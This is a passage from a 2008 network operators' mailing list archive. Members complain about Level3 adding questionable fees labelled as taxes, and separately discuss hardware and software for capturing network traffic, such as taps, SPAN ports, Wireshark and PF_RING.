"taxes" and then putting the onus on you > to prove that they can't charge you. > > Anyone else seeing this same behavior from Level3? > > (It seems that the larger a telecom company gets, the more they want to act > like a scum-sucking ILEC.) I wouldn't automatically assume malice here, although it is tempting. Further, escalating past low-level support or machines in corporate america is difficult and infuriating, but we know that. In Israel we have a name for such methods: shitat matzliach. Loosely translated it means "the succeeding method". You try something, see if it works. Then try something a little bit less, see if it works, and so on. How many folks do you think: 1. Notice this irregularity. 2. Call. 3. Endure the process of complaining, staying on the phoen for hours and emailing in the contract? And these are just the steps you went through so far. Gadi. > --Patrick > From jmaimon at ttec.com Thu Jul 31 12:56:54 2008 From: jmaimon at ttec.com (Joe Maimon) Date: Thu, 31 Jul 2008 13:56:54 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: References: <4891DE62.9000202@zill.net> Message-ID: <4891FCE6.4050308@ttec.com> Gadi Evron wrote: > On Thu, 31 Jul 2008, Patrick Giagnocavo wrote: >> >> (It seems that the larger a telecom company gets, the more they want >> to act like a scum-sucking ILEC.) > > I wouldn't automatically assume malice here, although it is tempting. >You try something, > see if it works. Then try something a little bit less, see if it works, > and so on. If what you are saying translates to "How much pain can we inflict on our customers before they break (whether or not it increases revenue or decreases costs)?" Then yes, it is inherently malicious, but of a natural predatory sort. It may not be a shareholder board member meeting conspiracy kind of malice, but still the verdict: malicious. And yes, the larger a telecom gets, the more they look like the "scum sucking ILEC." From jfmezei at vaxination.ca Thu Jul 31 13:12:16 2008 From: jfmezei at vaxination.ca (=?ISO-8859-1?Q?Jean-Fran=E7ois_Mezei?=) Date: Thu, 31 Jul 2008 14:12:16 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: <4891FCE6.4050308@ttec.com> References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> Message-ID: <48920080.2090702@vaxination.ca> Joe Maimon wrote: > "How much pain can we inflict on our customers before they break > (whether or not it increases revenue or decreases costs)?" I see it in a different way. At one point, a corporation's accountants decide that growth through acquisition of new customers will slow and the only way to continue to grow revenus is to start nickel and diming existing customers to death, cutting customer support (aka: outsource to a different country where the folks there are given a simple 2 page script and no other training) and implementeing strange new billing schemes. And in the past, such schemes have worked with minimal customer complaints (of course, the customer service side in in cahoots and aren't about to report to the board that the decisions made have been highly unpopular) and those measures become permanent. The big problem is that upper management are more focused on pleasing the Wall Street Casino analysts than they are running their company and pleasing their customers. From rs at seastrom.com Thu Jul 31 13:41:22 2008 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 31 Jul 2008 14:41:22 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: (David Hubbard's message of "Thu, 31 Jul 2008 12:48:56 -0400") References: Message-ID: <86zlnx28x9.fsf@seastrom.com> From: Patrick Giagnocavo [mailto:patrick at zill.net] > > Anyone else seeing this same behavior from Level3? > Orthogonal to this discussion, Level(3)'s support, while never great shakes compared to the exemplary service that I used to get from Looking Glass Networks, has in recent months taken a sharp turn for the worse. 52 hours for callback on hicap circuit outages, technicians who can't read the ticket ("call only between 0600 and 2300 EDT; site contact needs to sleep too"), and just general apathy and ennui more appropriate to an old-line incumbent (oh yeah, billing screw-ups too) have brought my dissatisfaction to record levels. Residential T-1 which I've had since 1996 - canceled yesterday. I'll suck it up on the MSS lossage and tunnel my stuff over a cablemodem. ---Rob From ge at linuxbox.org Thu Jul 31 13:45:32 2008 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 31 Jul 2008 13:45:32 -0500 (CDT) Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: <4891FCE6.4050308@ttec.com> References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> Message-ID: On Thu, 31 Jul 2008, Joe Maimon wrote: >> You try something, see if it works. Then try something a little bit less, >> see if it works, and so on. > > > If what you are saying translates to > > "How much pain can we inflict on our customers before they break (whether or > not it increases revenue or decreases costs)?" More like "let's give it a shot, see if they are on to us. Best case we suceeded, worst case we give a little way and try again. In all likelihood we will end up better off, and at the worst at a regular starting position for the deal/negotiation/kick in the nuts. > Then yes, it is inherently malicious, but of a natural predatory sort. Isn't malicious, just not very ethical. Having been on the recieving end a few times.. you don't always know it is happening. But now that we all released some steam, I don't think billing practices is really our expertise here.. although many of us techies negotiate the bandwidth and peering for some very odd reason. Gadi. From meekjt at gmail.com Thu Jul 31 13:46:57 2008 From: meekjt at gmail.com (Jon Meek) Date: Thu, 31 Jul 2008 14:46:57 -0400 Subject: Hardware capture platforms In-Reply-To: <20080731163136.GK28903@cgi.jachomes.com> References: <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <56F5BC5F404CF84896C447397A1AAF207AF0BC@MAIL.nosi.netos.com> <7280DF7C-8677-4552-8B27-1F695CBFFA33@kumari.net> <4890B72F.4070303@aset.com> <20080731163136.GK28903@cgi.jachomes.com> Message-ID: I have had the same problem and solved it with a rare (even then) 100BT Only hub. I still have at least one stashed away. For years though, I have been using bonding on Linux to combine multiple tap streams. We also use hardware aggregators for the higher volume applications. Jon On Thu, Jul 31, 2008 at 12:31 PM, Jay R. Ashworth wrote: > > And, note carefully: some "dual-speed hubs" are actually a 10BT hub and > a 100BT hub *with a switch between them*. I forget which brand I > caught this on, but it bit me a couple of years back. > > Which speed cable you plug in determines which hub you're talking to. > > Yes, it's weird. > > Cheers, > -- jra > -- > Jay R. Ashworth Baylink jra at baylink.com > Designer The Things I Think RFC 2100 > Ashworth & Associates http://baylink.pitas.com '87 e24 > St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 > > Those who cast the vote decide nothing. > Those who count the vote decide everything. > -- (Josef Stalin) > > From jal at jal.org Thu Jul 31 14:28:47 2008 From: jal at jal.org (Jamie A Lawrence) Date: Thu, 31 Jul 2008 15:28:47 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> Message-ID: On Jul 31, 2008, at 2:45 PM, Gadi Evron wrote: > Isn't malicious, just not very ethical. Having been on the recieving > end a few times.. you don't always know it is happening. I'm not sure that's a useful distinction. I strongly doubt any vendor has actual malice towards me (modulo some people I've pissed off at times in panics). Ethics are what I hope for from partners, try to demonstrate, and it is proven over time. That said, inventing random fees, hiding them as "taxes" or "federally mandated something or other", and seeing what sticks to the wall in order to get that tiny percent profit boost is not going to make any friends in a network community. It works much better with cell customers or unaware bean counters, but netops folks are going to see it. L3 have given me reason to not like them in the past, and this is just more of the same. The problem is that the big boys seem to be racing to the bottom, so there isn't anyone better to which to defect. From patrick at ianai.net Thu Jul 31 14:34:04 2008 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 31 Jul 2008 15:34:04 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> Message-ID: On Jul 31, 2008, at 3:28 PM, Jamie A Lawrence wrote: > On Jul 31, 2008, at 2:45 PM, Gadi Evron wrote: > >> Isn't malicious, just not very ethical. Having been on the >> recieving end a few times.. you don't always know it is happening. > > I'm not sure that's a useful distinction. I strongly doubt any > vendor has actual malice towards me (modulo some people I've pissed > off at times in panics). Ethics are what I hope for from partners, > try to demonstrate, and it is proven over time. > > That said, inventing random fees, hiding them as "taxes" or > "federally mandated something or other", and seeing what sticks to > the wall in order to get that tiny percent profit boost is not going > to make any friends in a network community. It works much better > with cell customers or unaware bean counters, but netops folks are > going to see it. L3 have given me reason to not like them in the > past, and this is just more of the same. The problem is that the big > boys seem to be racing to the bottom, so there isn't anyone better > to which to defect. Calling something a "tax" or "federally mandated" when it is not sounds both like a class action suit waiting to happen, and illegal enough to have the company at least fined. Why doesn't Cuomo go after problems like this instead of the BS he likes to chase. It's got to have an appeal to at least as many people who vote. -- TTFN, patrick From web at typo.org Thu Jul 31 14:34:29 2008 From: web at typo.org (Wayne E. Bouchard) Date: Thu, 31 Jul 2008 12:34:29 -0700 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> Message-ID: <20080731193429.GA76636@typo.org> Hoping for a company which will put ethics above profit is like looking for an honest politician. They're extremely rare. On Thu, Jul 31, 2008 at 03:28:47PM -0400, Jamie A Lawrence wrote: > > On Jul 31, 2008, at 2:45 PM, Gadi Evron wrote: > > >Isn't malicious, just not very ethical. Having been on the recieving > >end a few times.. you don't always know it is happening. > > I'm not sure that's a useful distinction. I strongly doubt any vendor > has actual malice towards me (modulo some people I've pissed off at > times in panics). Ethics are what I hope for from partners, try to > demonstrate, and it is proven over time. > > That said, inventing random fees, hiding them as "taxes" or "federally > mandated something or other", and seeing what sticks to the wall in > order to get that tiny percent profit boost is not going to make any > friends in a network community. It works much better with cell > customers or unaware bean counters, but netops folks are going to see > it. L3 have given me reason to not like them in the past, and this is > just more of the same. The problem is that the big boys seem to be > racing to the bottom, so there isn't anyone better to which to defect. --- Wayne Bouchard web at typo.org Network Dude http://www.typo.org/~web/ From nikky at mnet.bg Thu Jul 31 14:37:22 2008 From: nikky at mnet.bg (Nickola Kolev) Date: Thu, 31 Jul 2008 22:37:22 +0300 Subject: Hardware capture platforms In-Reply-To: <321A420C-B5BF-4D63-B4A9-F1C1B089046D@rm-rf.co.uk> References: <20080729155511.R42026@iama.hypergeek.net> <75cb24520807291712r50167c9ap3a444d7b4792c7e3@mail.gmail.com> <221481660807291926y225766a3k136860c555d964c@mail.gmail.com> <82FF05AB-185F-452A-A41D-CEB399F5F302@rm-rf.co.uk> <321A420C-B5BF-4D63-B4A9-F1C1B089046D@rm-rf.co.uk> Message-ID: <20080731223722.bf537e9d.nikky@mnet.bg> Hey, On Thu, 31 Jul 2008 16:00:36 +0100 Leon Ward wrote: > > On 31 Jul 2008, at 14:16, Juuso Lehtinen wrote: > > > Second that. > > > > Using hub to tap into a single link is also risky. I used to monitor > > single FE link with 100M hub. After link had moderate utilization > > >20%, collision led was lit all the time. > > > > I've had good experience with VSS Monitoring Ethernet Aggregator > > taps. Also Catalyst 2960 SPAN seems to work OK. > > > > As for capture PC, we've been using regular PC with Wireshark. > > That's good for single FE link, but has problem with GE and multiple > > links. > > If you need to increase the speed of your capture tool, maybe this [1] > link may be of use. > It is an implementation of a libpcap that implements a shared memory > ring buffer which can result in some capture performance gains. > > [1] http://public.lanl.gov/cpw/ Better off - http://www.ntop.org/PF_RING.html I've seen tenfold decrease in CPU usage using PF_RING. > > -Leon [ cut ] -- Best regards, Nickola Kolev From patrick at ianai.net Thu Jul 31 14:50:55 2008 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 31 Jul 2008 15:50:55 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: <20080731193429.GA76636@typo.org> References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> <20080731193429.GA76636@typo.org> Message-ID: <102B6B40-6626-48FB-A0A6-74E80D3458C2@ianai.net> On Jul 31, 2008, at 3:34 PM, Wayne E. Bouchard wrote: > Hoping for a company which will put ethics above profit is like > looking for an honest politician. They're extremely rare. I'm just looking for a company that looks past the next quarterly investor call. Because then at least some ethics come into play. Doing things like this will have longer term effects, and they won't be positive. -- TTFN, patrick > On Thu, Jul 31, 2008 at 03:28:47PM -0400, Jamie A Lawrence wrote: >> >> On Jul 31, 2008, at 2:45 PM, Gadi Evron wrote: >> >>> Isn't malicious, just not very ethical. Having been on the recieving >>> end a few times.. you don't always know it is happening. >> >> I'm not sure that's a useful distinction. I strongly doubt any vendor >> has actual malice towards me (modulo some people I've pissed off at >> times in panics). Ethics are what I hope for from partners, try to >> demonstrate, and it is proven over time. >> >> That said, inventing random fees, hiding them as "taxes" or >> "federally >> mandated something or other", and seeing what sticks to the wall in >> order to get that tiny percent profit boost is not going to make any >> friends in a network community. It works much better with cell >> customers or unaware bean counters, but netops folks are going to see >> it. L3 have given me reason to not like them in the past, and this is >> just more of the same. The problem is that the big boys seem to be >> racing to the bottom, so there isn't anyone better to which to >> defect. > > --- > Wayne Bouchard > web at typo.org > Network Dude > http://www.typo.org/~web/ > From eddy+public+spam at noc.everquick.net Thu Jul 31 14:57:41 2008 From: eddy+public+spam at noc.everquick.net (Edward B. DREGER) Date: Thu, 31 Jul 2008 19:57:41 +0000 (GMT) Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> Message-ID: PWG> Date: Thu, 31 Jul 2008 15:34:04 -0400 PWG> From: Patrick W. Gilmore PWG> Calling something a "tax" or "federally mandated" when it is not PWG> sounds both like a class action suit waiting to happen, and illegal PWG> enough to have the company at least fined. I agree. I'm probably not the only one who has read large communication company shareholder reports and SEC filings. Class-action suits are listed as a calculated risk, a cost of doing business, and factored in as part of doing business. Yay for customers prepaying their opponent's legal fund! If we were to ask for a show of hands who's never been jerked around by a telecom company, I don't think we'd see many folks on this list uncrossing their arms. I'm even having some fun with one (re a small personal/non-business account) that claims service cannot be terminated in writing -- despite lack of any Contract terms, statute, or precedent to substantiate their position. And then we have [what appear to me to be] FCRA violations. To answer Joel's "[a]t what point is regulation okay" question: At the point where the regulators are less evil than those they are regulating. There are two three reasons for reading statutes and precedent (or for paying someone on your behalf): 1. To comply; 2. To find loopholes; 3. To find the best way to nail whomever has angered you. When #2 or #3 becomes "excessive", someone cries for an overhaul. Of course, a poorly-executed "overhaul" can exacerbate #2 and #3, but let's not follow the recursion too far. ;-) Eddy -- Everquick Internet - http://www.everquick.net/ A division of Brotsman & Dreger, Inc. - http://www.brotsman.com/ Bandwidth, consulting, e-commerce, hosting, and network building Phone: +1 785 865 5885 Lawrence and [inter]national Phone: +1 316 794 8922 Wichita ________________________________________________________________________ DO NOT send mail to the following addresses: davidc at brics.com -*- jfconmaapaq at intc.net -*- sam at everquick.net Sending mail to spambait addresses is a great way to get blocked. Ditto for broken OOO autoresponders and foolish AV software backscatter. From deepak at ai.net Thu Jul 31 15:05:52 2008 From: deepak at ai.net (Deepak Jain) Date: Thu, 31 Jul 2008 16:05:52 -0400 Subject: Level3 tries cell-phone style billing scam on customers In-Reply-To: <20080731193429.GA76636@typo.org> References: <4891DE62.9000202@zill.net> <4891FCE6.4050308@ttec.com> <20080731193429.GA76636@typo.org> Message-ID: <48921B20.4010707@ai.net> We all have plenty of billing nightmares. Level 3 has tried this sort of thing before. Their "property tax surcharge" or something. We got it removed years ago since our MSA didn't support it -- their new ones do, whether legal or not. We were particularly frustrated with a traditional T3 international circuit where you expect (and request) full protection, blah, blah only to find the foreign leg was not protected. We had ordered it from Broadwing before the acquisition and then had to cancel it when we found out how L3 was going to engineer it. Passing on these fees (even if challenged by many) would still end up with 40-60% not challenging it. This is a vastly impressive move on their side until the class action lawsuit and it'll grow as a percentage too. Reliance Telecom (formerly Yipes and others) has started passing on "regulatory fees" without further description. Boo. This is a market that is about go through another round of BKs and consolidation, and to draw a parallel to the rest of the market -- no one is too big to fail. All of the sins of the last companies to go under are about to come to light again. I think the datacenter builders are doing the same sort of thing with the overbuilding and telling Wall Street how behind they are on capacity, but time will prove that right/wrong too. To make this operational. The reason techs negotiate bandwidth and peering deals is because they are the only ones whose eyes don't glaze over when the terminology is thrown around. Most bean counters are used to mature industries where billion dollar companies don't perpetrate this sort of fraud by whimsy (traditional companies buy permission with lobbyists first). So they never challenge taxes or "fees" because they have good reason to believe that if Verizon is charging it, they have the legal authority to do so. Its these also-ran companies like L3, Reliance and others that have the "infrastructure" to deliver hicap services but they don't have the patience or maturity of old school tyrants. Another way to say this. You should keep complaining about it until one of them clues in and asks the PSC in your area to make it legal. Deepak Wayne E. Bouchard wrote: > Hoping for a company which will put ethics above profit is like > looking for an honest politician. They're extremely rare. > > On Thu, Jul 31, 2008 at 03:28:47PM -0400, Jamie A Lawrence wrote: >> On Jul 31, 2008, at 2:45 PM, Gadi Evron wrote: >> >>> Isn't malicious, just not very ethical. Having been on the recieving >>> end a few times.. you don't always know it is happening. >> I'm not sure that's a useful distinction. I strongly doubt any vendor >> has actual malice towards me (modulo some people I've pissed off at >> times in panics). Ethics are what I hope for from partners, try to >> demonstrate, and it is proven over time. >> >> That said, inventing random fees, hiding them as "taxes" or "federally >> mandated something or other", and seeing what sticks to the wall in >> order to get that tiny percent profit boost is not going to make any >> friends in a network community. It works much better with cell >> customers or unaware bean counters, but netops folks are going to see >> it. L3 have given me reason to not like them in the past, and this is >> just more of the same. The problem is that the big boys seem to be >> racing to the bottom, so there isn't anyone better to which to defect. > > --- > Wayne Bouchard > web at typo.org > Network Dude > http://www.typo.org/~web/ > >